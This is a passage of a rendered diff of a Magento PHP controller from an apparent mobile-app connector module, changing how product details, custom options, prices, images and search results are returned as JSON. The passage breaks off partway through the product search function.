- $defaultcustomprice = str_replace(",","",($valuesVal->getPrice()));
172
- $all_custom_option_array[$inc]['custom_option_value_array'][$inner_inc]['price'] = strval(round($this->convert_currency($defaultcustomprice,$basecurrencycode,$currentcurrencycode),2));
173
-
174
- //$all_custom_option_array[$inc]['custom_option_value_array'][$inner_inc]['price'] = number_format($valuesVal->getPrice(),2);
175
- $all_custom_option_array[$inc]['custom_option_value_array'][$inner_inc]['price_type'] = $valuesVal->getPriceType();
176
- $all_custom_option_array[$inc]['custom_option_value_array'][$inner_inc]['sku'] = $valuesVal->getSku();
177
- $all_custom_option_array[$inc]['custom_option_value_array'][$inner_inc]['sort_order'] = $valuesVal->getSortOrder();
178
- if($valuesVal->getPriceType() == "percent") {
179
-
180
- $defaultcustomprice = str_replace(",","", ($product->getFinalPrice()));
181
- $customproductprice = strval(round($this->convert_currency($defaultcustomprice,$basecurrencycode,$currentcurrencycode),2));
182
- $all_custom_option_array[$inc]['custom_option_value_array'][$inner_inc]['price'] = str_replace(",","", round((floatval($customproductprice) * floatval(round($valuesVal->getPrice(),1))/100),2));
183
-
184
- }
185
- $inner_inc++;
186
- }
187
- $inc++;
188
- }
189
-
190
- }
191
- else
192
- { $has_custom_options = false;}
193
-
194
 
195
- $addtionatt=$this->_getAditional();
196
-
197
- /*get confiogurable product attributes*/
198
- Mage::register('product', $product);
199
- Mage::helper('catalog/product')->setSkipSaleableCheck(true);
200
- $config_attributes = new Mage_Catalog_Block_Product_View_Type_Configurable;
201
- $condigurable_data = json_decode($config_attributes->getJsonConfig(),1);
202
- $configurable = array();
203
- foreach($condigurable_data['attributes'] as $key => $value)
204
- $configurable[] = $value;
205
-
206
- /*get confiogurable product attributes*/
207
-
208
- $productdetail = array (
209
- 'entity_id' => $product->getId (),
210
- 'sku' => $product->getSku (),
211
- 'name' => $product->getName (),
212
- 'news_from_date' => $product->getNewsFromDate (),
213
- 'news_to_date' => $product->getNewsToDate (),
214
- 'special_from_date' => $product->getSpecialFromDate (),
215
- 'special_to_date' => $product->getSpecialToDate (),
216
- 'image_url' => Mage::helper('connector')-> Imageresize($product->getImage(),'product','500','500'),
217
- 'url_key' => $product->getProductUrl (),
218
- 'is_in_stock' => $product->isAvailable (),
219
- 'has_custom_options' => $has_custom_options,
220
- 'regular_price_with_tax' => number_format ( Mage::helper ( 'directory' )->currencyConvert ( $product->getPrice (), $baseCurrency, $currentCurrency ), 2, '.', '' ),
221
- 'final_price_with_tax' => number_format ( Mage::helper ( 'directory' )->currencyConvert ( $product->getSpecialPrice (), $baseCurrency, $currentCurrency ), 2, '.', '' ),
222
- 'storeUrl' => $storeUrl,
223
- 'description' => $description,
224
- 'short_description'=>nl2br ($product->getShortDescription()),
225
- 'symbol' => Mage::app ()->getLocale ()->currency ( Mage::app ()->getStore ()->getCurrentCurrencyCode () )->getSymbol () ,
226
- 'weight'=>$product->getWeight(),
227
- 'review'=>$reviews,
228
- 'rating'=>$rating,
229
- 'wishlist' => Mage::helper('connector')->check_wishlist($product->getId ()),
230
- 'additional'=>$addtionatt,
231
- //'configurable'=>$config->getConfigurableAttributesAsArray($product)
232
- //'configurable'=>$configurable
233
- );
234
 
235
- if(count($all_custom_option_array))
236
- $productdetail["custom_option"] = $all_custom_option_array;
237
 
238
- if(count($configurable))
239
- $productdetail["configurable"] = $configurable;
240
-
241
-
242
-
243
- echo json_encode ( $productdetail );
244
- else:
245
- $storeUrl = Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA);
246
- $description = nl2br ( $product->getDescription () );
247
- $description = str_replace("{{media url=\"",$storeUrl,$description);
248
- $description = str_replace("\"}}","",$description);
249
-
250
 
251
- $c_ops=array();
252
-
253
- if ($product->getData('has_options'))
254
- {
255
- $has_custom_options = true;
256
- // Start custom options
257
- $all_custom_option_array = array();
258
- $attVal = $product->getOptions();
259
- $optStr = "";
260
- $inc=0;
261
- $has_custom_option = 0;
262
- foreach($attVal as $optionKey => $optionVal)
263
- {
264
 
265
- $has_custom_option = 1;
266
- $all_custom_option_array[$inc]['custom_option_name']=$optionVal->getTitle();
267
- $all_custom_option_array[$inc]['custom_option_id']=$optionVal->getId();
268
- $all_custom_option_array[$inc]['custom_option_is_required']=$optionVal->getIsRequire();
269
- $all_custom_option_array[$inc]['custom_option_type']=$optionVal->getType();
270
- $all_custom_option_array[$inc]['sort_order'] = $optionVal->getSortOrder();
271
- $all_custom_option_array[$inc]['all'] = $optionVal->getData();
272
- if($all_custom_option_array[$inc]['all']['default_price_type'] == "percent") {
273
- $all_custom_option_array[$inc]['all']['price'] = number_format((($product->getFinalPrice()*round($all_custom_option_array[$inc]['all']['price']*10,2)/10)/100),2);
274
-
275
- }
276
- else {
277
- $all_custom_option_array[$inc]['all']['price'] = number_format($all_custom_option_array[$inc]['all']['price'],2);
278
- }
279
-
280
- $all_custom_option_array[$inc]['all']['price'] = str_replace(",","",$all_custom_option_array[$inc]['all']['price']);
281
- $all_custom_option_array[$inc]['all']['price'] = strval(round($this->convert_currency($all_custom_option_array[$inc]['all']['price'],$basecurrencycode,$currentcurrencycode),2));
282
-
283
- $all_custom_option_array[$inc]['custom_option_value_array'];
284
- $inner_inc =0;
285
-
286
- foreach($optionVal->getValues() as $valuesKey => $valuesVal)
287
- {
288
- $all_custom_option_array[$inc]['custom_option_value_array'][$inner_inc]['id'] = $valuesVal->getId();
289
- $all_custom_option_array[$inc]['custom_option_value_array'][$inner_inc]['title'] = $valuesVal->getTitle();
290
-
291
- $defaultcustomprice = str_replace(",","",($valuesVal->getPrice()));
292
- $all_custom_option_array[$inc]['custom_option_value_array'][$inner_inc]['price'] = strval(round($this->convert_currency($defaultcustomprice,$basecurrencycode,$currentcurrencycode),2));
293
-
294
- //$all_custom_option_array[$inc]['custom_option_value_array'][$inner_inc]['price'] = number_format($valuesVal->getPrice(),2);
295
- $all_custom_option_array[$inc]['custom_option_value_array'][$inner_inc]['price_type'] = $valuesVal->getPriceType();
296
- $all_custom_option_array[$inc]['custom_option_value_array'][$inner_inc]['sku'] = $valuesVal->getSku();
297
- $all_custom_option_array[$inc]['custom_option_value_array'][$inner_inc]['sort_order'] = $valuesVal->getSortOrder();
298
- if($valuesVal->getPriceType() == "percent") {
299
-
300
- $defaultcustomprice = str_replace(",","", ($product->getFinalPrice()));
301
- $customproductprice = strval(round($this->convert_currency($defaultcustomprice,$basecurrencycode,$currentcurrencycode),2));
302
- $all_custom_option_array[$inc]['custom_option_value_array'][$inner_inc]['price'] = str_replace(",","", round((floatval($customproductprice) * floatval(round($valuesVal->getPrice(),1))/100),2));
303
-
304
- }
305
- $inner_inc++;
306
- }
307
- $inc++;
308
- }
309
-
310
- }
311
- else
312
- { $has_custom_options = false;}
313
-
314
- $addtionatt=$this->_getAditional();
315
- $productdetail = array (
316
- 'entity_id' => $product->getId (),
317
- 'sku' => $product->getSku (),
318
- 'name' => $product->getName (),
319
- 'news_from_date' => $product->getNewsFromDate (),
320
- 'news_to_date' => $product->getNewsToDate (),
321
- 'special_from_date' => $product->getSpecialFromDate (),
322
- 'special_to_date' => $product->getSpecialToDate (),
323
- 'image_url' => Mage::helper('connector')-> Imageresize($product->getImage(),'product','500','500'),
324
- 'url_key' => $product->getProductUrl (),
325
- 'is_in_stock' => $product->isAvailable (),
326
- 'has_custom_options' => $has_custom_options,
327
- 'regular_price_with_tax' => number_format ( Mage::helper ( 'directory' )->currencyConvert ( $product->getPrice (), $baseCurrency, $currentCurrency ), 2, '.', '' ),
328
- 'final_price_with_tax' => number_format ( Mage::helper ( 'directory' )->currencyConvert ( $product->getSpecialPrice (), $baseCurrency, $currentCurrency ), 2, '.', '' ),
329
- 'storeUrl' => $storeUrl,
330
- 'description' => $description,
331
- 'short_description'=>nl2br ($product->getShortDescription()),
332
- 'symbol' => Mage::app ()->getLocale ()->currency ( Mage::app ()->getStore ()->getCurrentCurrencyCode () )->getSymbol () ,
333
- 'weight'=>$product->getWeight(),
334
- 'qty'=>(int)Mage::getModel('cataloginventory/stock_item')->loadByProduct($product->getId())->getQty(),
335
- 'review'=>$reviews,
336
- 'rating'=>$rating,
337
- 'wishlist' => Mage::helper('connector')->check_wishlist($product->getId ()),
338
- 'additional'=>$addtionatt
339
- );
340
- if(count($all_custom_option_array))
341
- $productdetail["custom_option"] = $all_custom_option_array;
342
 
343
 
344
-
345
- echo json_encode ( $productdetail );
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
346
 
347
  endif;
348
  }
 
 
349
  public function getPicListsAction() {
350
  $productId = ( int ) $this->getRequest ()->getParam ( 'product' );
351
 
@@ -356,7 +384,7 @@ class Mss_Connector_ProductsController extends Mage_Core_Controller_Front_Action
356
  foreach ($media as $_image ) {
357
 
358
  $images [] = array (
359
- 'url' => Mage::helper('connector')-> Imageresize($_image->getFile (),'product','500','500'),
360
  'thumbnail' => Mage::helper('connector')-> Imageresize($_image->getFile (),'thumbnail','100','100'),
361
  'position' => $_image->getPosition ()
362
  );
@@ -365,7 +393,7 @@ class Mss_Connector_ProductsController extends Mage_Core_Controller_Front_Action
365
  if(!sizeof($images) && $_images->getImage()):
366
 
367
  $images [] = array (
368
- 'url' => Mage::helper('connector')-> Imageresize($_images->getImage(),'product','500','500'),
369
  'thumbnail' => Mage::helper('connector')-> Imageresize($_images->getImage(),'thumbnail','100','100'),
370
  'position' => 1
371
  );
@@ -505,48 +533,51 @@ class Mss_Connector_ProductsController extends Mage_Core_Controller_Front_Action
505
 
506
  $products = Mage::getModel('catalog/product')->getCollection();
507
  $products->addAttributeToSelect(array('name','entity_id','status','visibility'),'inner')
508
- ->setPageSize ($limit)
509
- ->addAttributeToFilter('name', array('like' => '%'.$searchstring.'%'))
510
- ->addAttributeToFilter ( 'status', 1 )
511
- ->addAttributeToFilter ( 'visibility', array ('neq' => 1 ) )
512
- ->setPage ( $page, $limit );
513
-
514
- $productlist = array ();
515
- $baseCurrency = Mage::app ()->getStore ()->getBaseCurrency ()->getCode ();
516
- $currentCurrency = Mage::app ()->getStore ()->getCurrentCurrencyCode ();
517
- foreach ( $products as $product ) {
518
- $product = Mage::getModel ( 'catalog/product' )->load ( $product ['entity_id'] );
519
- $rating = Mage::getModel('rating/rating')->getEntitySummary($product->getId());
520
- $rating_final = ($rating->getSum()/$rating->getCount())/20;
521
-
522
-
523
- $productlist [] = array (
524
- 'entity_id' => $product->getId (),
525
- 'sku' => $product->getSku (),
526
- 'name' => $product->getName (),
527
- 'news_from_date' => $product->getNewsFromDate (),
528
- 'news_to_date' => $product->getNewsToDate (),
529
- 'special_from_date' => $product->getSpecialFromDate (),
530
- 'special_to_date' => $product->getSpecialToDate (),
531
- /*'image_url' => Mage::getModel('catalog/product_media_config')->getMediaUrl( $product->getImage() ),*/
532
- 'image_url' => Mage::helper('connector')-> Imageresize($product->getImage(),'product','300','300'),
533
- 'url_key' => $product->getProductUrl (),
534
- 'regular_price_with_tax' => number_format ( Mage::helper ( 'directory' )->currencyConvert ( $product->getPrice (), $baseCurrency, $currentCurrency ), 2, '.', '' ),
535
- 'final_price_with_tax' => number_format ( Mage::helper ( 'directory' )->currencyConvert ( $product->getSpecialPrice (), $baseCurrency, $currentCurrency ), 2, '.', '' ),
536
- 'symbol'=> Mage::app()->getLocale()->currency(Mage::app()->getStore()->getCurrentCurrencyCode())->getSymbol(),
537
- 'qty'=>(int)Mage::getModel('cataloginventory/stock_item')->loadByProduct($product->getId())->getQty(),//$product->getStockItem()->getData('qty')
538
- 'rating' => $rating_final,
539
- 'wishlist' => Mage::helper('connector')->check_wishlist($product->getId ()),
540
- 'categoryid' => end($product->getCategoryIds())
541
- );
542
- }
 
 
 
543
 
544
  if(sizeof($productlist))
545
  echo json_encode($productlist);
546
  else
547
- echo json_encode(array('status'=>'error','message'=>'There are no products matching the selection'));
548
  else:
549
- echo json_encode(array('status'=>'error','message'=>'Search string is required'));
550
  endif;
551
  }
552
 
@@ -575,20 +606,76 @@ class Mss_Connector_ProductsController extends Mage_Core_Controller_Front_Action
575
  $attribute = Mage::getModel('catalog/resource_eav_attribute')->load($attributeId);
576
  $attributeOptions = $attribute ->getSource()->getAllOptions(false);
577
 
578
- if($attribute->getAttributeCode() == 'price')
579
- $result[] = array('code' => $attribute->getAttributeCode(), 'label'=>$attribute->getFrontendLabel(),'value'=>$this->getpricerange());
580
- else
581
- $result[] = array('code' => $attribute->getAttributeCode(), 'label'=>$attribute->getFrontendLabel(),'value'=>$attributeOptions);
582
-
 
583
  }
584
 
585
  echo json_encode($result);
586
  }
587
  catch(exception $e){
588
 
589
- echo json_encode(array('status'=>'error','message'=>'Server side error'.$e->getMessage()));
590
  }
591
  }
592
 
593
  /*getFilter API*/
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
594
  }
1
  <?php
2
  class Mss_Connector_ProductsController extends Mage_Core_Controller_Front_Action {
3
 
4
+ public $storeId = "1";
5
+ public $viewId = "";
6
+ public $currency = "";
7
+
8
  public function _construct(){
9
 
10
  header('content-type: application/json; charset=utf-8');
11
  header("access-control-allow-origin: *");
12
  Mage::helper('connector')->loadParent(Mage::app()->getFrontController()->getRequest()->getHeader('token'));
13
+
14
+ $this->storeId = Mage::app()->getFrontController()->getRequest()->getHeader('storeId');
15
+ $this->viewId = Mage::app()->getFrontController()->getRequest()->getHeader('viewId');
16
+ $this->currency = Mage::app()->getFrontController()->getRequest()->getHeader('currency');
17
+ Mage::app()->setCurrentStore($this->storeId);
18
+ /*Mage::app()->getStore($this->storeId)->setCurrentCurrency($this->currency);*/
19
  parent::_construct();
20
 
21
  }
22
 
23
  public function getcustomoptionAction() {
24
  $baseCurrency = Mage::app ()->getStore ()->getBaseCurrency ()->getCode ();
25
+ //$currentCurrency = Mage::app ()->getStore ()->getCurrentCurrencyCode ();
26
+ $currentCurrency = $this->currency;
27
  $productid = $this->getRequest ()->getParam ( 'productid' );
28
  $product = Mage::getModel ( "catalog/product" )->load ( $productid );
29
  $selectid = 1;
80
  }
81
 
82
  public function getproductdetailAction() {
83
+ $this->productdetail($this->getRequest ()->getParam ( 'productid' ));
84
+ }
85
+
86
+ public function getproductdetailByskuAction() {
87
+
88
+ $sku = $this->getRequest ()->getParam ('productsku');
89
+
90
+ $id = Mage::getModel('catalog/product')->getResource()->getIdBySku($sku);
91
+ if($id)$this->productdetail($id);
92
+ else echo "[]";
93
+ }
94
+
95
+ public function productdetail($productid) {
96
  $productdetail = array ();
97
  $baseCurrency = Mage::app ()->getStore ()->getBaseCurrency ()->getCode ();
98
+
99
+ $currentCurrency = $this->currency;
100
+ /*$productid = $this->getRequest ()->getParam ( 'productid' );*/
101
 
102
  $model = Mage::getModel ( "catalog/product" );
103
  $product = $model->load ( $productid );
111
  ->addStatusFilter(Mage_Review_Model_Review::STATUS_APPROVED)
112
  ->setDateOrder()
113
  ->addRateVotes();
114
+ $avg = 0;
115
+ $ratings = array();
116
+ $rdetails=array();
117
+ $all_custom_option_array = array();
118
+
119
+ if (count($reviews) > 0):
120
+ foreach ($reviews->getItems() as $review):
121
 
122
+ $review_rating=0;
123
+
124
+ foreach( $review->getRatingVotes() as $vote ):
125
+ $review_rating = $vote->getPercent();
126
+ $ratings[] = $vote->getPercent();
127
+ endforeach;
128
+
129
+ if($review_rating)
130
+ $rating_by = ($review_rating/20);
131
+
132
+ $rdetails[]= array(
133
+ 'title'=>$review->getTitle(),
134
+ 'description'=>$review->getDetail(),
135
+ 'reviewby'=>$review->getNickname(),
136
+ 'rating_by'=>$rating_by,
137
+ 'rating_date'=>date("d-m-Y", strtotime($review->getCreatedAt())),
138
+ );
139
+ endforeach;
140
+ $avg = array_sum($ratings)/count($ratings);
141
+ endif;
142
 
143
+ $rating=ceil($avg/20);
144
+ $reviews=$rdetails;
 
 
 
 
 
 
 
 
 
 
145
 
146
+ /*get product rating*/
147
 
148
+ if($product->getTypeId() == "configurable"):
149
+ $productdetail = array();
150
+ $config = $product->getTypeInstance(true);
151
 
152
+ $conf = Mage::getModel('catalog/product_type_configurable')->setProduct($product);
153
+ $simple_collection = $conf->getUsedProductCollection()->addAttributeToSelect('*')->addFilterByRequiredOptions()->getData();
154
 
155
+ $storeUrl = Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA);
156
+ $description = nl2br ( $product->getDescription () );
157
+ $description = str_replace("{{media url=\"",$storeUrl,$description);
158
+ $description = str_replace("\"}}","",$description);
159
+
160
+ $c_ops=array();
161
+
162
+ if($product->getData('has_options')):
163
+ $has_custom_options = true;
164
+ // Start custom options
165
+ $all_custom_option_array = array();
166
+ $attVal = $product->getOptions();
167
+ $optStr = "";
168
+ $inc=0;
169
+ $has_custom_option = 0;
170
+
171
+ foreach($attVal as $optionKey => $optionVal):
172
 
173
+ $has_custom_option = 1;
174
+ $all_custom_option_array[$inc]['custom_option_name']=$optionVal->getTitle();
175
+ $all_custom_option_array[$inc]['custom_option_id']=$optionVal->getId();
176
+ $all_custom_option_array[$inc]['custom_option_is_required']=$optionVal->getIsRequire();
177
+ $all_custom_option_array[$inc]['custom_option_type']=$optionVal->getType();
178
+ $all_custom_option_array[$inc]['sort_order'] = $optionVal->getSortOrder();
179
+ $all_custom_option_array[$inc]['all'] = $optionVal->getData();
180
+
181
+ if($all_custom_option_array[$inc]['all']['default_price_type'] == "percent")
182
+ $all_custom_option_array[$inc]['all']['price'] = number_format((($product->getFinalPrice()*round($all_custom_option_array[$inc]['all']['price']*10,2)/10)/100),2);
183
+ else
184
+ $all_custom_option_array[$inc]['all']['price'] = number_format($all_custom_option_array[$inc]['all']['price'],2);
 
 
 
 
 
 
 
 
 
 
 
185
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
186
 
187
+ $all_custom_option_array[$inc]['all']['price'] = str_replace(",","",$all_custom_option_array[$inc]['all']['price']);
188
+ $all_custom_option_array[$inc]['all']['price'] = strval(round($this->convert_currency($all_custom_option_array[$inc]['all']['price'],$basecurrencycode,$currentcurrencycode),2));
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
189
 
190
+ $all_custom_option_array[$inc]['custom_option_value_array'];
191
+ $inner_inc =0;
192
 
193
+ foreach($optionVal->getValues() as $valuesKey => $valuesVal):
 
 
 
 
 
 
 
 
 
 
 
194
 
195
+ $all_custom_option_array[$inc]['custom_option_value_array'][$inner_inc]['id'] = $valuesVal->getId();
196
+ $all_custom_option_array[$inc]['custom_option_value_array'][$inner_inc]['title'] = $valuesVal->getTitle();
 
 
 
 
 
 
 
 
 
 
 
197
 
198
+ $defaultcustomprice = str_replace(",","",($valuesVal->getPrice()));
199
+ $all_custom_option_array[$inc]['custom_option_value_array'][$inner_inc]['price'] = strval(round($this->convert_currency($defaultcustomprice,$basecurrencycode,$currentcurrencycode),2));
200
+ $all_custom_option_array[$inc]['custom_option_value_array'][$inner_inc]['price_type'] = $valuesVal->getPriceType();
201
+ $all_custom_option_array[$inc]['custom_option_value_array'][$inner_inc]['sku'] = $valuesVal->getSku();
202
+ $all_custom_option_array[$inc]['custom_option_value_array'][$inner_inc]['sort_order'] = $valuesVal->getSortOrder();
203
+
204
+ if($valuesVal->getPriceType() == "percent"):
205
+
206
+ $defaultcustomprice = str_replace(",","", ($product->getFinalPrice()));
207
+ $customproductprice = strval(round($this->convert_currency($defaultcustomprice,$basecurrencycode,$currentcurrencycode),2));
208
+ $all_custom_option_array[$inc]['custom_option_value_array'][$inner_inc]['price'] = str_replace(",","", round((floatval($customproductprice) * floatval(round($valuesVal->getPrice(),1))/100),2));
209
+ endif;
210
+
211
+ $inner_inc++;
212
+ endforeach;
213
+
214
+ $inc++;
215
+ endforeach;
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
216
 
217
 
218
+ else:
219
+ $has_custom_options = false;
220
+ endif;
221
+
222
+ $addtionatt=$this->_getAditional();
223
+
224
+ /*get confiogurable product attributes*/
225
+ Mage::register('product', $product);
226
+ Mage::helper('catalog/product')->setSkipSaleableCheck(true);
227
+ $config_attributes = new Mage_Catalog_Block_Product_View_Type_Configurable;
228
+ $condigurable_data = json_decode($config_attributes->getJsonConfig(),1);
229
+ $configurable = array();
230
+
231
+ foreach($condigurable_data['attributes'] as $key => $value)
232
+ $configurable[] = $value;
233
+
234
+ /*get confiogurable product attributes*/
235
+
236
+ $productdetail = array (
237
+ 'entity_id' => $product->getId (),
238
+ 'sku' => $product->getSku (),
239
+ 'name' => $product->getName (),
240
+ 'news_from_date' => $product->getNewsFromDate (),
241
+ 'news_to_date' => $product->getNewsToDate (),
242
+ 'special_from_date' => $product->getSpecialFromDate (),
243
+ 'special_to_date' => $product->getSpecialToDate (),
244
+ 'image_url' => Mage::helper('connector')-> Imageresize($product->getImage(),'product','500','500'),
245
+ 'url_key' => $product->getProductUrl().'?shareid='.$product->getId(),
246
+ 'is_in_stock' => $product->isAvailable (),
247
+ 'has_custom_options' => $has_custom_options,
248
+ 'regular_price_with_tax' => number_format ( Mage::helper ( 'directory' )->currencyConvert ( $product->getPrice (), $baseCurrency, $currentCurrency ), 2, '.', '' ),
249
+ 'final_price_with_tax' => number_format ( Mage::helper ( 'directory' )->currencyConvert (
250
+ Mage::helper('connector')
251
+ ->getFinalPriceByProductId($product->getId ()),
252
+ $baseCurrency, $currentCurrency ), 2, '.', '' ),
253
+ 'storeUrl' => $storeUrl,
254
+ 'description' => $description,
255
+ 'short_description'=>nl2br ($product->getShortDescription()),
256
+ 'symbol' => Mage::helper('connector')->getCurrencysymbolByCode($this->currency),
257
+ 'weight'=>$product->getWeight(),
258
+ 'review'=>$reviews,
259
+ 'rating'=>$rating,
260
+ 'wishlist' => Mage::helper('connector')->check_wishlist($product->getId ()),
261
+ 'additional'=>$addtionatt,
262
+ 'specialprice'=>Mage::helper('connector')->getSpecialPriceByProductId($product->getId ()),
263
+ );
264
+
265
+ if(count($all_custom_option_array))
266
+ $productdetail["custom_option"] = $all_custom_option_array;
267
+
268
+ if(count($configurable))
269
+ $productdetail["configurable"] = $configurable;
270
+
271
+ echo json_encode ( $productdetail );
272
+ else:
273
+ $storeUrl = Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA);
274
+ $description = nl2br ( $product->getDescription () );
275
+ $description = str_replace("{{media url=\"",$storeUrl,$description);
276
+ $description = str_replace("\"}}","",$description);
277
+
278
+
279
+ $c_ops=array();
280
+
281
+ if ($product->getData('has_options')):
282
+ $has_custom_options = true;
283
+
284
+ $all_custom_option_array = array();
285
+ $attVal = $product->getOptions();
286
+ $optStr = "";
287
+ $inc=0;
288
+ $has_custom_option = 0;
289
+ foreach($attVal as $optionKey => $optionVal):
290
+
291
+ $has_custom_option = 1;
292
+ $all_custom_option_array[$inc]['custom_option_name']=$optionVal->getTitle();
293
+ $all_custom_option_array[$inc]['custom_option_id']=$optionVal->getId();
294
+ $all_custom_option_array[$inc]['custom_option_is_required']=$optionVal->getIsRequire();
295
+ $all_custom_option_array[$inc]['custom_option_type']=$optionVal->getType();
296
+ $all_custom_option_array[$inc]['sort_order'] = $optionVal->getSortOrder();
297
+ $all_custom_option_array[$inc]['all'] = $optionVal->getData();
298
+
299
+ if($all_custom_option_array[$inc]['all']['default_price_type'] == "percent")
300
+ $all_custom_option_array[$inc]['all']['price'] = number_format((($product->getFinalPrice()*round($all_custom_option_array[$inc]['all']['price']*10,2)/10)/100),2);
301
+ else
302
+ $all_custom_option_array[$inc]['all']['price'] = number_format($all_custom_option_array[$inc]['all']['price'],2);
303
+
304
+
305
+ $all_custom_option_array[$inc]['all']['price'] = str_replace(",","",$all_custom_option_array[$inc]['all']['price']);
306
+ $all_custom_option_array[$inc]['all']['price'] = strval(round($this->convert_currency($all_custom_option_array[$inc]['all']['price'],$basecurrencycode,$currentcurrencycode),2));
307
+
308
+ $all_custom_option_array[$inc]['custom_option_value_array'];
309
+ $inner_inc =0;
310
+
311
+ foreach($optionVal->getValues() as $valuesKey => $valuesVal):
312
+
313
+ $all_custom_option_array[$inc]['custom_option_value_array'][$inner_inc]['id'] = $valuesVal->getId();
314
+ $all_custom_option_array[$inc]['custom_option_value_array'][$inner_inc]['title'] = $valuesVal->getTitle();
315
+ $defaultcustomprice = str_replace(",","",($valuesVal->getPrice()));
316
+ $all_custom_option_array[$inc]['custom_option_value_array'][$inner_inc]['price'] = strval(round($this->convert_currency($defaultcustomprice,$basecurrencycode,$currentcurrencycode),2));
317
+ $all_custom_option_array[$inc]['custom_option_value_array'][$inner_inc]['price_type'] = $valuesVal->getPriceType();
318
+ $all_custom_option_array[$inc]['custom_option_value_array'][$inner_inc]['sku'] = $valuesVal->getSku();
319
+ $all_custom_option_array[$inc]['custom_option_value_array'][$inner_inc]['sort_order'] = $valuesVal->getSortOrder();
320
+
321
+ if($valuesVal->getPriceType() == "percent"):
322
+ $defaultcustomprice = str_replace(",","", ($product->getFinalPrice()));
323
+ $customproductprice = strval(round($this->convert_currency($defaultcustomprice,$basecurrencycode,$currentcurrencycode),2));
324
+ $all_custom_option_array[$inc]['custom_option_value_array'][$inner_inc]['price'] = str_replace(",","", round((floatval($customproductprice) * floatval(round($valuesVal->getPrice(),1))/100),2));
325
+ endif;
326
+
327
+ $inner_inc++;
328
+ endforeach;
329
+ $inc++;
330
+
331
+ endforeach;
332
+ else:
333
+ $has_custom_options = false;
334
+ endif;
335
+
336
+ $addtionatt=$this->_getAditional();
337
+ $productdetail = array (
338
+ 'entity_id' => $product->getId (),
339
+ 'sku' => $product->getSku (),
340
+ 'name' => $product->getName (),
341
+ 'news_from_date' => $product->getNewsFromDate (),
342
+ 'news_to_date' => $product->getNewsToDate (),
343
+ 'special_from_date' => $product->getSpecialFromDate (),
344
+ 'special_to_date' => $product->getSpecialToDate (),
345
+ 'image_url' => Mage::helper('connector')-> Imageresize($product->getImage(),'product_main','500','500'),
346
+ 'url_key' => $product->getProductUrl().'?shareid='.$product->getId(),
347
+ 'is_in_stock' => $product->isAvailable (),
348
+ 'has_custom_options' => $has_custom_options,
349
+ 'regular_price_with_tax' => number_format ( Mage::helper ( 'directory' )->currencyConvert ( $product->getPrice (), $baseCurrency, $currentCurrency ), 2, '.', '' ),
350
+ 'final_price_with_tax' => number_format ( Mage::helper ( 'directory' )->currencyConvert (
351
+ Mage::helper('connector')
352
+ ->getFinalPriceByProductId($product->getId ()),
353
+ $baseCurrency, $currentCurrency ), 2, '.', '' ),
354
+ 'storeUrl' => $storeUrl,
355
+ 'description' => $description,
356
+ 'short_description'=>nl2br ($product->getShortDescription()),
357
+ 'symbol' => Mage::helper('connector')->getCurrencysymbolByCode($this->currency) ,
358
+ 'weight'=>$product->getWeight(),
359
+ 'qty'=>(int)Mage::getModel('cataloginventory/stock_item')->loadByProduct($product->getId())->getQty(),
360
+ 'review'=>$reviews,
361
+ 'rating'=>$rating,
362
+ 'wishlist' => Mage::helper('connector')->check_wishlist($product->getId ()),
363
+ 'additional'=>$addtionatt,
364
+ 'specialprice'=>Mage::helper('connector')->getSpecialPriceByProductId($product->getId ()),
365
+ );
366
+ if(count($all_custom_option_array))
367
+ $productdetail["custom_option"] = $all_custom_option_array;
368
+
369
+
370
+
371
+ echo json_encode ( $productdetail );
372
 
373
  endif;
374
  }
375
+
376
+
377
  public function getPicListsAction() {
378
  $productId = ( int ) $this->getRequest ()->getParam ( 'product' );
379
 
384
  foreach ($media as $_image ) {
385
 
386
  $images [] = array (
387
+ 'url' => Mage::helper('connector')-> Imageresize($_image->getFile (),'product_main','500','500'),
388
  'thumbnail' => Mage::helper('connector')-> Imageresize($_image->getFile (),'thumbnail','100','100'),
389
  'position' => $_image->getPosition ()
390
  );
393
  if(!sizeof($images) && $_images->getImage()):
394
 
395
  $images [] = array (
396
+ 'url' => Mage::helper('connector')-> Imageresize($_images->getImage(),'product_main','500','500'),
397
  'thumbnail' => Mage::helper('connector')-> Imageresize($_images->getImage(),'thumbnail','100','100'),
398
  'position' => 1
399
  );
533
 
534
  $products = Mage::getModel('catalog/product')->getCollection();
535
  $products->addAttributeToSelect(array('name','entity_id','status','visibility'),'inner')
536
+ ->setPageSize ($limit)
537
+ ->addAttributeToFilter('name', array('like' => '%'.$searchstring.'%'))
538
+ ->addAttributeToFilter ( 'status', 1 )
539
+ ->addAttributeToFilter ( 'visibility', array ('neq' => 1 ) )
540
+ ->setPage ( $page, $limit );
541
+
542
+ $productlist = array ();
543
+ $baseCurrency = Mage::app ()->getStore ()->getBaseCurrency ()->getCode ();
544
+ $currentCurrency = $this->currency;
545
+ foreach ( $products as $product ) {
546
+ $product = Mage::getModel ( 'catalog/product' )->load ( $product ['entity_id'] );
547
+ $rating = Mage::getModel('rating/rating')->getEntitySummary($product->getId());
548
+ $rating_final = ($rating->getSum()/$rating->getCount())/20;
549
+
